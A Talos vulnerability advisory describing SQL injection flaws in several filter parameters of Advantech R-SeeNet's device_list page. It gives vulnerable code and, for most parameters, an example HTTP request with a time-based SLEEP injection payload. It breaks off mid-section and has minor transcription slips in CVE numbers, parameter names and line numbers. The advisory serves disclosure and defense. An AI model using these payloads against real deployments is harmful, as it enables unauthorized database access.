

Talos Vulnerability Report

TALOS-2021-1366

Advantech R-SeeNet application multiple SQL injection vulnerabilities in the 'device_list' page

NOVEMBER 22, 2021

CVE NUMBER

CVE-2021-21924,CVE-2021-21925,CVE-21926,CVE-2021-21927,CVE-2021-21928,CVE-2021-21929,CVE-2021-21930,CVE-2021-21931,CVE-2021-21932,CVE-2021-21933,CVE-2021-21934,CVE-2021-21935,CVE-2021-21936,CVE-2021-21937

Summary

Multiple exploitable SQL injection vulnerabilities exist in the 'device_list' page of the Advantech R-SeeNet 2.4.15 (30.07.2021). A specially-crafted HTTP request can lead to SQL injection. An attacker can make authenticated HTTP requests to trigger these vulnerabilities. This can be done as any authenticated user or through cross-site request forgery.

Tested Versions

Advantech R-SeeNet Advantech R-SeeNet 2.4.15 (30.07.2021)

Product URLs

<https://ep.advantech-bb.cz/products/software/r-seenet>

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

These particular vulnerabilities exist due to misuse of prepared statements in the context of the application, along with stored procedures combined with SQL concatenation in such way that variables used to build up an SQL query, despite being initially sanitized, lose that protection when invoked against the database. An example of this can be seen in one of the stored procedures below, where a final prepared statement is simply taken from the @sql variable without specific parameter bindings. This introduces a SQL injection vulnerability into the statement on line 927 below, from the original SQL file used during installation (companies.sql):

```

777 CREATE DEFINER='root'@'localhost' PROCEDURE `sp_GetDevicesUser`(params VARCHAR(255), id INT(5))
778 BEGIN
779
780         SET @dev_num = 0;
781
782         DROP TABLE IF EXISTS device_list;
783         CREATE TEMPORARY TABLE device_list ENGINE=MEMORY SELECT
784             @dev_num := @dev_num + 1 as dev_num,
785
786
787         devices.device_id,
788         devices.group_id,
789         devices.enabled,
790         devices.hostname,
791         devices.hostname_alt,
792         devices.hostname_alt2,
793         devices.community,
794         devices.description,
795         devices.location,
796         devices.coordinates,
797         devices.note,
798         devices.name,
799         devices.product,
800         devices.firmware,
801         devices.mac,
802         devices.sn,
803         devices.imei,
804         devices.esn,
805         devices.last_rx,
806         devices.last_tx,
807         devices.last_rx2,
808         devices.last_tx2,
809         devices.last_rx3,
810         devices.last_tx3,
811         devices.accounting_start,
812         devices.accounting_start_alt,
813         devices.accounting_start_alt2,
814         devices.rx_account,
815         devices.tx_account,
816         devices.rx_account_alt,
817         devices.tx_account_alt,
818         devices.rx_account_alt2,
819         devices.tx_account_alt2,
820         devices.last_connect,
821         devices.last_connect2,
822         devices.last_connect3,
823         devices.cfg_update_time,
824         devices.last_status,
825         devices.last_level,
826         devices.last_quality,
827         devices.last_temp,
828         devices.last_volt,
829         devices.autoupdate,
830
831
832         IF(devices.health =0,0,IF(devices.health > 0 && (devices.health < max_fails) ,1,2)) as health,
833         IF(devices.health_alt =0,0,IF(devices.health_alt > 0 && (devices.health_alt < max_fails) ,1,2)) as health_alt,
834         IF(devices.health_alt2 =0,0,IF(devices.health_alt2 > 0 && (devices.health_alt2 < max_fails) ,1,2)) as health_alt2,
835
836         devices.last_time_act,
837         devices.last_time_act_alt,
838         devices.last_time_act_alt2,
839         devices.phone,
840         devices.phone_alt,
841         devices.period,
842         devices.trap,
843         devices.read_location,
844         devices.read_gps,
845         devices.new,
846         devices.new_time,
847         devices.uptime,
848         devices.read_temp_volt,
849         devices.num_send_avail,
850         devices.num_fails_msg,
851
852
853         tx_account + rx_account as total,
854         tx_account_alt + rx_account_alt as total_alt,
855         tx_account_alt2 + rx_account_alt2 as total_alt2,
856         groups.description as group_desc,
857         groups.level_limit as level_limit,
858         groups.traffic_limit as traffic_limit,
859         groups.traffic_limit_alt as traffic_limit_alt,
860         groups.traffic_limit_alt2 as traffic_limit_alt2,
861         groups.temp_limit_lo as temp_limit_lo,
862         groups.temp_limit_hi as temp_limit_hi,
863         groups.volt_limit_lo as volt_limit_lo,
864         groups.volt_limit_hi as volt_limit_hi,
865         groups.qual_limit_lo as qual_limit_lo,
866         groups.max_fails as max_fails,
867         devices.snmp_prot
868         FROM devices, groups WHERE devices.group_id IN (SELECT user_group.group_id FROM user_group WHERE user_group.user_id = id)
869 AND devices.group_id = groups.group_id ORDER BY device_id;
870
871         SET @sql = CONCAT('SELECT
872             dev_num,
873             device_id,
874             description,
875             hostname,
876             hostname_alt,
877             hostname_alt2,
878             location,
879             coordinates,
880             note,
881             enabled,
882             product,
883             firmware,
884             sn,
885             imei,
886             esn,
887             tx_account,
888             rx_account,
889             total,
890             tx_account_alt,
891             rx_account_alt,
892             total_alt,
893             tx_account_alt2,

```

```

893         rx_account_alt2,
894         total_alt2,
895         last_level,
896         last_status,
897         autoupdate,
898         health,
899         health_alt,
900         health_alt2,
901         DATE_FORMAT(last_time_act,"%d-%m-%Y %H:%i"),
902         DATE_FORMAT(last_time_act_alt,"%d-%m-%Y %H:%i"),
903         DATE_FORMAT(last_time_act_alt2,"%d-%m-%Y %H:%i"),
904         trap,
905         mac,
906         group_desc,
907         NULL,
908         uptime,
909         new,
910         last_quality,
911         last_temp,
912         last_volt,
913         level_limit,
914         traffic_limit,
915         traffic_limit_alt,
916         traffic_limit_alt2,
917         temp_limit_lo,
918         temp_limit_hi,
919         volt_limit_lo,
920         volt_limit_hi,
921         qual_limit_lo,
922         name,
923         max_fails,
924         snmp_prot
925 FROM device_list WHERE ""="" ',params) ;
926
927             PREPARE stmt FROM @sql;
928
929             EXECUTE stmt;
930
931             DEALLOCATE PREPARE stmt;
932
933         END$$

```

CVE-2021-21924 - 'desc_filter' parameter

Parameter desc_filter is set as session variable on line 209 of device_list.php as seen below:

```

207  if(isset($_GET['desc_filter']))
208  { // je nastaven filtr description
209    $_SESSION['desc_filter'] = urldecode($_GET['desc_filter']);
210  }

```

Following the above code, a variable is used on line 569 in the following code to build up a SQL query which will get executed on line 869:

```

565  $sql = '';
566
567  if(isset($_SESSION['desc_filter'])) && ($_SESSION['desc_filter'] != '')
568  {
569    $sql = $sql.'AND description LIKE "'.$mysql_real_escape_string($link,$_SESSION['desc_filter']).'%" ';
570  }
571  [...]
854  $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856  if( is_superadmin() && ($company_id == 0) )
857  { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858    $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859  }
860  else if( is_admin() )
861  {
862    $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863  }
864  else
865  {
866    $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867  }
868  // vykonani SQL prikazu
869  $result = db_multi_query($link, $sql);

```

Example exploitation could be constructed as follows:

```

GET /r-seenet/index.php?page=device_list&host_filter=a&health_filter=a&desc_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]

```

CVE-2021-21925 - 'firm_filter' parameter

Parameter firm_filter is set as a session variable on line 265 of device_list.php as seen below:

```

262 if(isset($_GET['firm_filter']))
263 { // je nastaven filtr firmware
264     $_SESSION['firm_filter'] = urldecode($_GET['firm_filter']);
265 }

```

Following the above code, a variable is used on line 609 in the following code to build up a SQL query which will get executed on line 869:

```

607 if((isset($_SESSION['firm_filter'])) && ($_SESSION['firm_filter'] != ''))
608 {
609     $sql = $sql.'AND firmware="'.mysql_real_escape_string($link,$_SESSION['firm_filter']).'" ';
610 }
[... ]
854 $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856 if( is_superuser() && ($company_id == 0) )
857 { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859 }
860 else if( is_admin() )
861 {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\','.$_SESSION['company_id'].'\')';
863 }
864 else
865 {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\','.$_SESSION['user_id'].'\')';
867 }
868 // vykonani SQL prikazu
869 $result = db_multi_query($link, $sql);

```

Example exploitation could be constructed as follows:

```

GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a1%22%20AND%20(SELECT%201%
20FROM%20(SELECT(SLEEP(5)))a)--%20&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]

```

CVE-2021-21926 - 'health_filter' parameter

Parameter health_filter is set as a session variable on line 219 of device_list.php as seen below:

```

217 if(isset($_GET['health_filter']))
218 { // je nastaven filtr health
219     $_SESSION['health_filter'] = $_GET['health_filter'];
220 }

```

Following the above code, a variable is used on line 788 in the following code to build up a SQL query which will get executed on line 869:

```

782 list($health_gray) = mysqli_fetch_row($result);
783
784 if((isset($_SESSION['health_filter'])) && ($_SESSION['health_filter'] != ''))
785 {
786     if($_SESSION['health_filter'] != 3)
787     {
788         $sql = $sql.'AND health = "'.mysql_real_escape_string($link,$_SESSION['health_filter']).'" ';
789     }
790     else
791     { // v pripade, ze filter = 3 hledame routry s priznakem new
792         $sql = $sql.'AND new = "1" ';
793     }
794 }
795
[... ]
854 $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856 if( is_superuser() && ($company_id == 0) )
857 { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859 }
860 else if( is_admin() )
861 {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\','.$_SESSION['company_id'].'\')';
863 }
864 else
865 {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\','.$_SESSION['user_id'].'\')';
867 }
868 // vykonani SQL prikazu
869 $result = db_multi_query($link, $sql);

```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=device_list&host_filter=a&health_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5))))a)--%20&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21927 - 'loc_filter' parameter

Parameter loc_filter is set as a session variable on line 249 of device_list.php as seen below:

```
247 if(isset($_GET['loc_filter']))
248 { // je nastaven filtr location
249     $_SESSION['loc_filter'] = urldecode($_GET['loc_filter']);
250 }
```

Following the above code, a variable is used on line 594 in the following code to build up a SQL query which will get executed on line 869:

```
592 if(isset($_SESSION['loc_filter'])) && ($_SESSION['loc_filter'] != '')
593 {
594     $sql = $sql.'AND location LIKE "%'.mysqli_real_escape_string($link,$_SESSION['loc_filter']).'%" ';
595 }
[...]
```

```
854 $sql = $sql.LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856 if( is_superuser() && ($company_id == 0) )
857 { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859 }
860 else if( is_admin() )
861 {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863 }
864 else
865 {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867 }
868 // vykonani SQL prikazu
869 $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=aa1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5))))a)--%20&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21928 - 'mac_filter' parameter

Parameter mac_filter is set as a session variable on line 284 of device_list.php as seen below:

```
282 if(isset($_GET['mac_filter']))
283 { // je nastaven filtr MAC
284     $_SESSION['mac_filter'] = urldecode($_GET['mac_filter']);
285 }
```

Following the above code, a variable is used on line 629 in the following code to build up a SQL query which will get executed on line 869:

```

627 if(isset($_SESSION['mac_filter'])) && ($_SESSION['mac_filter'] != '')
628 {
629     $sql = $sql.'AND mac LIKE "'.mysql_real_escape_string($link,$_SESSION['mac_filter']).'" ';
630 }
631 [...]
632 $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
633
634 if( is_superadmin() && ($company_id == 0) )
635 { // prihlaseny superadmin, který nema vybranou konkretni firmu uvidi vse
636     $sql = 'call sp_GetDevicesAll(\''.$sql.\')';
637 }
638 else if( is_admin() )
639 {
640     $sql = 'call sp_GetDevicesCompany(\''.$sql.\','.$_SESSION['get_company_id()'].')';
641 }
642 else
643 {
644     $sql = 'call sp_GetDevicesUser(\''.$sql.\','.$_SESSION['get_user_id()'].')';
645 }
646 // vykonani SQL prikazu
647 $result = db_multi_query($link, $sql);

```

Example exploitation could be constructed as follows:

```

GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a
1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]

```

CVE-2021-21929 - 'prod_filter' parameter

Parameter prod_filter is set as a session variable on line 244 of device_list.php as seen below:

```

242 if(isset($_GET['prod_filter']))
243 { // je nastaven filtr product
244     $_SESSION['prod_filter'] = urldecode($_GET['prod_filter']);
245 }
246

```

Following the above code, a variable is used on line 589 in the following code to build up a SQL query which will get executed on line 869:

```

587 if(isset($_SESSION['prod_filter'])) && ($_SESSION['prod_filter'] != '')
588 {
589     $sql = $sql.'AND product="'.mysql_real_escape_string($link,$_SESSION['prod_filter']).'" ';
590 }
591 [...]
592 $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
593
594 if( is_superadmin() && ($company_id == 0) )
595 { // prihlaseny superadmin, který nema vybranou konkretni firmu uvidi vse
596     $sql = 'call sp_GetDevicesAll(\''.$sql.\')';
597 }
598 else if( is_admin() )
599 {
600     $sql = 'call sp_GetDevicesCompany(\''.$sql.\','.$_SESSION['get_company_id()'].')';
601 }
602 else
603 {
604     $sql = 'call sp_GetDevicesUser(\''.$sql.\','.$_SESSION['get_user_id()'].')';
605 }
606 // vykonani SQL prikazu
607 $result = db_multi_query($link, $sql);

```

Example exploitation could be constructed as follows:

```

GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a
)--%20&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]

```

CVE-2021-21930 - 'sn_filter' parameter

Parameter `sn_filter` is set as a session variable on line 269 of `device_list.php` as seen below:

```
267 if(isset($_GET['sn_filter']))
268 { // je nastaven filtr sn
269     $_SESSION['sn_filter'] = urldecode($_GET['sn_filter']);
270 }
271
```

Following the above code, a variable is used on line 614 in the following code to build up a SQL query which will get executed on line 869:

```
612 if((isset($_SESSION['sn_filter'])) && ($_SESSION['sn_filter'] != ''))
613 {
614     $sql = $sql.'AND sn LIKE "%'.mysqli_real_escape_string($link,$_SESSION['sn_filter']).'" ';
615 }
616 [...]
654 $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
655
656 if( is_superuser() && ($company_id == 0) )
657 { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
658     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
659 }
660 else if( is_admin() )
661 {
662     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
663 }
664 else
665 {
666     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
667 }
668 // vykonani SQL prikazu
669 $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=6&firm_filter=a&sn_filter=a1%22%20AND%20(
SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21931 - 'stat_filter' parameter

Parameter `mac_filter` is set as a session variable on line 259 of `device_list.php` as seen below:

```
257 if(isset($_GET['stat_filter']))
258 { // je nastaven filtr location
259     $_SESSION['stat_filter'] = urldecode($_GET['stat_filter']);
260 }
```

Following the above code, a variable is used on line 604 in the following code to build up a SQL query which will get executed on line 869:

```
602 if((isset($_SESSION['stat_filter'])) && ($_SESSION['stat_filter'] != ''))
603 {
604     $sql = $sql.'AND last_status="'.mysqli_real_escape_string($link,$_SESSION['stat_filter']).'" ';
605 }
606 [...]
654 $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
655
656 if( is_superuser() && ($company_id == 0) )
657 { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
658     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
659 }
660 else if( is_admin() )
661 {
662     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
663 }
664 else
665 {
666     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
667 }
668 // vykonani SQL prikazu
669 $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELE
CT(SLEEP(5)))a)--%20&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21932 - 'name_filter' parameter

Parameter name_filter is set as a session variable on line 294 of device_list.php as seen below:

```
292 if(isset($_GET['name_filter']))
293 { // je nastaven filtr product
294   $_SESSION['name_filter'] = urldecode($_GET['name_filter']);
295 }
```

Following the above code, a variable is used on line 639 in the following code to build up a SQL query which will get executed on line 869:

```
637 if((isset($_SESSION['name_filter'])) && ($_SESSION['name_filter'] != ''))
638 {
639   $sql = $sql.'AND name LIKE "'.$mysql_real_escape_string($link,$_SESSION['name_filter']).'%"';
640 }
641 [...]
854 $sql = $sql.'LIMIT '.(($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856 if( is_superadmin() && ($company_id == 0) )
857 { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858   $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859 }
860 else if( is_admin() )
861 {
862   $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863 }
864 else
865 {
866   $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867 }
868 // vykonani SQL prikazu
869 $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1a"%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21933 - 'esn_filter' parameter

Parameter esn_filter is set as a session variable on line 279 of device_list.php as seen below:

```
277 if(isset($_GET['esn_filter']))
278 { // je nastaven filtr esn
279   $_SESSION['esn_filter'] = urldecode($_GET['esn_filter']);
280 }
```

Following the above code, a variable is used on line 624 in the following code to build up a SQL query which will get executed on line 869:


```

622  if((isset($_SESSION['esn_filter'])) && ($_SESSION['esn_filter'] != ''))
623  {
624      $sql = $sql.'AND esn LIKE "%'.mysqli_real_escape_string($link,$_SESSION['esn_filter']).'%" ';
625  }
626  [...]
627  $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','. $_SESSION['count_on_page'];
628  }
629  if (is_superadmin() && ($company_id == 0) )
630  { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
631      $sql = 'call sp_GetDevicesAll(\''.$sql.\'')';
632  }
633  else if( is_admin() )
634  {
635      $sql = 'call sp_GetDevicesCompany(\''.$sql.\',\''.get_company_id().'\')';
636  }
637  else
638  {
639      $sql = 'call sp_GetDevicesUser(\''.$sql.\',\''.get_user_id().'\')';
640  }
641  // vykonani SQL prikazu
642  $result = db_multi_query($link, $sql);

```

Example exploitation could be constructed as follows:

```

GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a"%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]

```

CVE-2021-21934 - 'imei_filter' parameter

Parameter imei_filter is set as a session variable on line 274 of device_list.php as seen below:

```

272  if(isset($_GET['imei_filter']))
273  { // je nastaven filtr imei
274      $_SESSION['imei_filter'] = urldecode($_GET['imei_filter']);
275  }
276

```

Following the above code, a variable is used on line 619 in the following code to build up a SQL query which will get executed on line 869:

```

616  if((isset($_SESSION['imei_filter'])) && ($_SESSION['imei_filter'] != ''))
617  {
618      $sql = $sql.'AND imei LIKE "%'.mysqli_real_escape_string($link,$_SESSION['imei_filter']).'%" ';
619  }
620  [...]
621  $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','. $_SESSION['count_on_page'];
622  }
623  if (is_superadmin() && ($company_id == 0) )
624  { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
625      $sql = 'call sp_GetDevicesAll(\''.$sql.\'')';
626  }
627  else if( is_admin() )
628  {
629      $sql = 'call sp_GetDevicesCompany(\''.$sql.\',\''.get_company_id().'\')';
630  }
631  else
632  {
633      $sql = 'call sp_GetDevicesUser(\''.$sql.\',\''.get_user_id().'\')';
634  }
635  // vykonani SQL prikazu
636  $result = db_multi_query($link, $sql);

```

Example exploitation could be constructed as follows:

```

GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]

```

CVE-2021-21935 - 'host_alt_filter2' parameter

Parameter `host_alt_filter2` is set as a session variable on line 234 of `device_list.php` as seen below:

```
232 if(isset($_GET['host_alt_filter2']))
233 { // je nastaven filtr hostname alt 2
234   $_SESSION['host_alt_filter2'] = urldecode($_GET['host_alt_filter2']);
235 }
236
```

Following the above code, a variable is used on line 584 in the following code to build up a SQL query which will get executed on line 869:

```
582 if((isset($_SESSION['host_alt_filter2'])) && ($_SESSION['host_alt_filter2'] != ''))
583 {
584   $sql = $sql.'AND hostname_alt2 LIKE "%'.mysqli_real_escape_string($link,$_SESSION['host_alt_filter2'])."% "';
585 }
586 [...]
584 $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
585
586 if( is_superuser() && ($company_id == 0) )
587 { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
588   $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
589 }
590 else if( is_admin() )
591 {
592   $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
593 }
594 else
595 {
596   $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
597 }
598 // vykonani SQL prikazu
599 $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter=a&host_alt_filter2="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21936 - 'health_alt_filter' parameter

Parameter `health_alt_filter` is set as a session variable on line 229 of `device_list.php` as seen below:

```
226
227 if(isset($_GET['health_alt_filter']))
228 { // je nastaven filtr health alt
229   $_SESSION['health_alt_filter'] = $_GET['health_alt_filter'];
230 }
231
```

Following the above code, a variable is used on line 800 in the following code to build up a SQL query which will get executed on line 869:

```
796 if((isset($_SESSION['health_alt_filter'])) && ($_SESSION['health_alt_filter'] != ''))
797 {
798   if( $_SESSION['health_alt_filter'] != 3 )
799   {
